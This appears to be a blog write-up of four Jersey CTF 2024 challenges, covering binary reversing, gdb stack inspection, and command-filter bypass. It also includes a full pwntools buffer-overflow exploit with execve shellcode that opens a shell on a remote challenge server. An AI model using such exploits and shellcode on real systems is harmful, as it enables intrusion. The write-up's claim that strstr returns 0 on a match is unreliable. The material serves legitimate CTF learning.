Some writeups in Jersey CTF 2024
Humble beginnings #
Description #
- In a city completely integrated with technology and living expenses through the roof, one way to get ahead is to become a netrunner.
- One day while browsing at a convenient store you notice that someone installed a crypto skimmer at the checkout counter.
- This normally would charge the person an unnoticeable amount more but luckily you have a blocker on your wallet.
- Through a slight of hand, you snatch the device.
- You wonder: Can I gain access to the crypto wallet on the device?
- Encase the found crypto address as follows
jctf{ADDRESS}
Attachments #
File: skimmer.exe
$ file skimmer.exe
skimmer.exe: PE32+ executable (console) x86-64, for MS Windows, 6 section
Looking at the disassembly of the program, we have the following cleaned up versions:
int main(int argc, char **argv) {
int extraout_EAX;
int extraout_EAX_00;
char *first_arg;
char *second_arg;
if (argc == 4) {
second_arg = argv[2];
first_arg = argv[1];
atof(argv[3]);
Network(first_arg, second_arg);
Network(first_arg, "mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu");
return extraout_EAX_00 + extraout_EAX;
}
return 0xff;
}
void Network(char *Unk, char *Key) {
longlong lVar1;
int bVar;
SOCKET s;
longlong lVar2;
undefined cookie3[48];
sockaddr local_388;
WSADATA WSAData;
undefined4 RecvBuf;
char SendBuf[208];
ulonglong cookie2;
longlong lVar3;
cookie2 = cookie ^ cookie3;
bVar = WSAStartup(0x202, &WSAData);
if ((bVar == 0) && (s = socket(2, 1, 6), s != 0xffffffffffffffff)) {
local_388.sa_family = 2;
local_388.sa_data._2_4_ = inet_addr("127.0.0.1");
local_388.sa_data._0_2_ = htons(0xd903);
bVar = connect(s, &local_388, 0x10);
if (bVar != -1) {
SendBuf[0] = '\0';
memset(SendBuf + 1, 0, 199);
RecvBuf &= 0xffffff00;
memset(&RecvBuf + 1, 0, 199);
snprintf(&RecvBuf, "%s%s%lf", Unk, Key);
lVar3 = -1;
do {
lVar2 = lVar3 + 1;
lVar1 = lVar3 + 1;
lVar3 = lVar2;
} while (SendBuf[lVar1] != '\0');
send(s, SendBuf, lVar2, 0);
recv(s, &RecvBuf, 0x20, 0);
}
}
__stack_check_fail(cookie2 ^ cookie3);
return;
}
It can be understood that, the function Network
tries to send the key over the network using WSA
, but it can be seen that the key is not decoded or decrypted. So, we have the key on the string table from the main
function:
mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu
So, the flag is:
jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu}
Password Manager #
Description #
- Due to the onerous password requirements at NICC (four characters), Mary Morse decided to write a password manager for herself. Unfortunately, all it does it tell you if you guessed the password correctly. Can you crack it?
Attachments: pwd
$ file pw
pw: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
BuildID[sha1]=916c182af19798695bc7552edbfc8e89eeb41fb5, for GNU/Linux 3.2.0, not stripped
The challenge advises use to use gdb
, so let’s do it.
int __fastcall main(int argc, const char **argv, const char **envp) {
char v3; // cl
int i; // [rsp+1Ch] [rbp-44h]
__int64 v6[2]; // [rsp+20h] [rbp-40h]
__int16 v7; // [rsp+30h] [rbp-30h]
char v8[24]; // [rsp+40h] [rbp-20h] BYREF
unsigned __int64 v9; // [rsp+58h] [rbp-8h]
v9 = __readfsqword(0x28u);
v6[0] = 0x164D525E4351464FLL;
v6[1] = 0x655C65487A561657LL;
v7 = 22554;
if (argc == 2) {
for (i = 0; i <= 17; ++i)
v8[i] = *((_BYTE *)v6 + i) ^ 0x25;
v8[19] = 0;
if ((unsigned int)j_strncmp_ifunc(v8, argv[1], 18LL)) {
puts("That's not the password.");
return 1;
} else {
puts("That's the password!");
return 0;
}
} else {
printf((unsigned int)"Usage is %s <FLAG>\n", (unsigned int)*argv,
2052462167, v3);
return 1;
}
}
I use GDB with gef so that I can have a nice prompt.
Now, we can observe that v6
is an char array (of length 19) - including v7
, which the disassembler fails to understand, and is XOR-ed (decoded) at runtime.
As v6
& v7
are located on the stack, we can break the code and inspect for the variable.
Now, as the code uses puts
, let’s break puts
using gdb
:
$ gdb -q ./pw
gef➤ run jctf{1234} # sample flag
gef➤ break puts
gef➤ continue
Now the debugger breaks the program as it tries to puts("That's not the password")
.
We can now search for strings on the stack:
gef➤ x/30s $rsp
0x7fffffffd648: "\342\035@"
0x7fffffffd64c: ""
0x7fffffffd64d: ""
0x7fffffffd64e: ""
0x7fffffffd64f: ""
0x7fffffffd650: "\350\327\377\377\377\177"
0x7fffffffd657: ""
0x7fffffffd658: "\350\327\377\377\002"
0x7fffffffd65e: ""
0x7fffffffd65f: ""
0x7fffffffd660: ""
0x7fffffffd661: "\330\377\377\377\177"
0x7fffffffd667: ""
0x7fffffffd668: "\002"
0x7fffffffd66a: ""
0x7fffffffd66b: ""
0x7fffffffd66c: "\022"
0x7fffffffd66e: ""
0x7fffffffd66f: ""
0x7fffffffd670: "OFQC^RM\026W\026VzHe\\e\032X\377\377\377\177"
0x7fffffffd687: ""
0x7fffffffd688: "\030\005@"
0x7fffffffd68c: ""
0x7fffffffd68d: ""
0x7fffffffd68e: ""
0x7fffffffd68f: ""
0x7fffffffd690: "jctf{wh3r3s_m@y@?}" # this is the flag
0x7fffffffd6a3: ""
0x7fffffffd6a4: ""
0x7fffffffd6a5: ""
So, from the stack, we can find the following flag:
jctf{wh3r3s_m@y@?}
Running Prayers #
Description #
No hard reverse engineering, no massive file to debug, just a vuln function, a gift and a dream.
nc 18.212.207.74 9001
Attachments: RunningOnPrayers
$ file RunningOnPrayers: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=d91e764ed026c551f434bdb2d75373d2edf38fd8, for GNU/Linux 3.2.0, not stripped
As this challenge is a pwn
challenge, we are interested in looking at checksec
:
$ checksec RunningOnPrayers
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Which is unusual, as it is a full red
binary, which are capable of executing shellcode
as the stack is executable -z exec_stack
. But the catch is that we need a gadget with jmp rsp
or a way to leak the stack pointer.
Looking at the disassembly:
_int64 vuln() {
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
printf("The hard part is not finding the vulnerability, but actually doing "
"something with it");
gets(v1);
return 0LL;
}
The program uses gets(...)
which is notorious for disrespecting array bounds and whitespaces (except newlines).
We have a 32
byte buffer, which can be overflown with no restrictions at all. But further inspection proves that it is not feasible to leak the address of the libc
as we don’t seem to have a pop rdi; ret
gadget - to leak the address from the GOT
.
We can take a look at the gift(...)
function:
__int64 gift() {
printf("Just two bytes, hanging out together");
return 0xFFFFFFFFLL;
}
But the assembly code of the gift(...)
function has:
endbr64
push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var_2], 0E4FFh
lea rax, aJustTwoBytesHa ; "Just two bytes, hanging out together"
mov rdi, rax ; format
mov eax, 0
call _printf
mov eax, 0FFFFFFFFh
leave
retn
We suspiciously have the bytes E4FF
which correspond to jmp rsp
instruction.
This means, we can insert some shellcode on the stack and jump to it.
I’ve used the shellcode from this gist.
This becomes a simple ROP
challenge.
Solve script:
from pwn import *
context.arch = 'amd64'
elf = ELF('RunningOnPrayers')
p = remote("18.212.207.74", 9001)
offset = 40 # by checking for $rsp
rop = ROP(elf)
rop.call(0x401231) # address of 0xFFE4
sled = b'\x90' * 4 # noop sled just in case
payload = b''.join([
b'A' * offset,
rop.chain(),
sled,
# shellcode begins
b"\x31\xc0\x50\x48\x8b\x14\x24\xeb\x10\x54",
b"\x78\x06\x5e\x5f\xb0\x3b\x0f\x05\x59\x5b",
b"\x40\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff",
b"/bin/sh",
])
p.recvuntil(b'with it')
p.sendline(payload)
p.interactive()
Running the above script would spawn a shell: /bin/sh
, and the challenge is solved.
% python solve.py
[*] Switching to interactive mode
ls -lah
total 32K
drwxr-xr-x 1 root root 4.0K Mar 22 18:38 .
drwxr-xr-x 1 root root 4.0K Mar 23 16:47 ..
-rwxr-xr-x 1 root root 16K Mar 22 18:16 RunningOnPrayers
-rw-rw-r-- 1 root root 29 Mar 22 18:38 flag.txt
cat flag.txt
jctf{Really_Obvious_Problem}
Searching Through Vines #
Description #
- We got access to a terminal that the netrunners recently abandoned, it might have some useful information.
- Can you find a way to navigate the file system and see if there is anything of interest? `nc 18.213.3.107 1337
Attachments: main.c
Inspecting the attachment, we see:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char commandStr[32];
scanf("%s", commandStr);
int i;
const char *bTexts[6] = {"ls", "cat", "cd", "pwd", "less"};
int bTexts_size = (sizeof(bTexts) - 1) / sizeof(bTexts[0]);
if (strlen(commandStr) <= 5) {
for (i = 0; i < bTexts_size; i++) {
if (strstr(commandStr, (char *)(bTexts[i])) != 0) {
printf("Terminating... a violation occured!\n");
exit(1);
}
}
system(commandStr);
} else {
printf("Terminating... a violation occured!\n");
exit(2);
}
return 0;
}
We have a 32
byte buffer taken from scanf
by using the format string %s
, which could be used for a buffer overflow, but we never return or have the actual binary for offsets. All the control paths have exit(...)
except the system(...)
path. So, that’s a no.
Now, inspecting the code, we know that it expects for a string with length <= 5
and checks for the substrings: cd
, ls
, cat
, pwd
, less
by using strstr
.
char *strstr( const char *str, const char *substr );
strstr
returns 0
if a str
has a substring substr
. Also, from cppreference, we have:
The behavior is undefined if either `str` or `substr` is not a pointer to a
null-terminated byte string.
But we only have %s
, we can’t have any sort of whitespace or null bytes (obviously).
But the catch is that, we can spawn a shell by sending bash
:
$ nc 18.213.3.107 1337
$ bash
$ ls
chal
flag
$ cat flag
jctf{nav1gat10n_1s_k3y}
And there we have it.